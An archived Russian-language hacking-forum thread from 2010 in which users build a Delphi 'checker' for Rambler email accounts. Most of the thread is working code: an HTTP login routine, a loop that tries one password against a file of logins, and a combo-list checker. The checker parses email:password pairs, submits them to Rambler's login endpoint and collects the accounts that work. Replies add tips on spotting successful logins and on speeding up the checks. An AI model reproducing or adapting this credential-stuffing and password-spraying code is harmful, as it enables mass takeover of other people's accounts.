Просмотр полной версии : Чекер рамблер
Хочу создать чекер пока без наворотов.
Может кто-нибудь рассказать про словесный алгоритм чекера, или есть у кого-то сорцы.
Sunstrider
21.04.2010, 19:39
Смотри,пишим функцию авторизации,далее циклом далее гуд записываем в мемо
Хочу создать чекер пока без наворотов.
И
а по коду есть что-либо?
как бы разные это вещи. В чем проблема с нуля написать? Там сложного нет ничего.
Скачай analyzer
_http://www.ieinspector.com/httpanalyzer/download.html
Посмотри что и куда отправляется, когда авторизуешься.
Sunstrider
21.04.2010, 21:10
Ты ЯП скажи,на delphi есть
авторизация на дефли в принципе так может выглядеть:
var StrPage, ssylka:string;
Data:TstringList;
begin
idhttp1.HandleRedirects:=true;
StrPage:=idhttp1.Get('http://odnoklassniki.ru/');
ssylka:=Pars('<form action="',StrPage,'"');
Data:=TstringList.Create;
Data.Add('st.posted=set');
Data.Add('st.email='+Edit1.Text);
Data.Add('st.password='+Edit2.Text);
Data.Add('button_go=Войти');
StrPage:=idhttp1.Post(ssylka, Data);
if Pos('Logoff', StrPage)<>0 then
Label3.Caption:='Ага'
else Label3.Caption:='Неа';
Data.Free;
function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
end;
ZdezBilYa
21.04.2010, 21:49
авторизация на дефли в принципе так может выглядеть:
var StrPage, ssylka:string;
Data:TstringList;
begin
idhttp1.HandleRedirects:=true;
StrPage:=idhttp1.Get('http://odnoklassniki.ru/');
ssylka:=Pars('<form action="',StrPage,'"');
Data:=TstringList.Create;
Data.Add('st.posted=set');
Data.Add('st.email='+Edit1.Text);
Data.Add('st.password='+Edit2.Text);
Data.Add('button_go=Войти');
StrPage:=idhttp1.Post(ssylka, Data);
if Pos('Logoff', StrPage)<>0 then
Label3.Caption:='Ага'
else Label3.Caption:='Неа';
Data.Free;
function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
end;
Ну вы вообще... Выкладываете код авторизации для левого сайта, меняете в нем "Залогинились" на "Ага", "Не залогинились" на "Неа". А потом еще пишете, что в принципе это так может выглядеть)))
M_script_
21.04.2010, 23:04
ZdezBilYa, твой код популярен, его в каждой второй теме про авторизацию пишут ;)
Простой алгоритм чеккера можно найти в анналах интеренета...
Вот краткая суть:
1)заходим на страницу главную
2) Вводим правельные данные и мониторим куда нас перенаправляет или какой ответ от сервера
3) Вводим неправельные данные и смотрим куда перенаправляет или какой ответ от сервера
4) Сравниваем и исчим различия - а точнее характерные данные для правельного запроса и для неправельного(в плане прошел чек удачно или нет)
5) Пишем прогу/скрипт
ЗЫ: какой язык программирования ?
Дельфи
Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage
Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login
Дельфи
Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage
Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login
я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет).
В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно)
Вот ссылки:
http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа
http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень
и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо
вот небольшие сырые наработки, пока без паролей
procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;
begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=1234567q');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.
procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
pass,mail,domain:string;
post, page:tstringlist;
begin
for i:=0 to form1.memo1.lines.count-1 do
begin
pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
mail:=form1.memo1.lines[i];
delete(mail, pos('@', mail), length(mail));
if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
domain:='lenta.ru';
if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
domain:='myrambler.ru';
if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
domain:='autorambler.ru';
if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
domain:='ro.ru';
if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
domain:='ro.ru';
if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
domain:='rambler.ru';
post:=tstringlist.create;
page:=tstringlist.create;
post.Add('back=http://mail.rambler.ru/mail/startpage');
post.Add('login='+mail);
post.Add('domain='+domain);
post.Add('passw='+pass);
try
page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
finally
if ansipos('logout', page.text)<>0 then
form1.Memo2.Lines.Add(form1.memo1.lines[i]);
page.free;
post.free;
end;
end;
end;
на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится
пользуйся на здоровье.
кстати в рамблере необязательно выбирать домен, можно вводить так lolka@rambler.ru, проверено
Народ а через чего быстрее делать идхттп ил винсок? или есть др способы?
Народ а через чего быстрее делать идхттп ил винсок?
Делать быстрее через инди, но работать будет быстрее через winsock
или есть др способы?
wininet
M_script_
22.04.2010, 22:33
но работать будет быстрее через winsock
Это скорее стереотип, чем факт.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot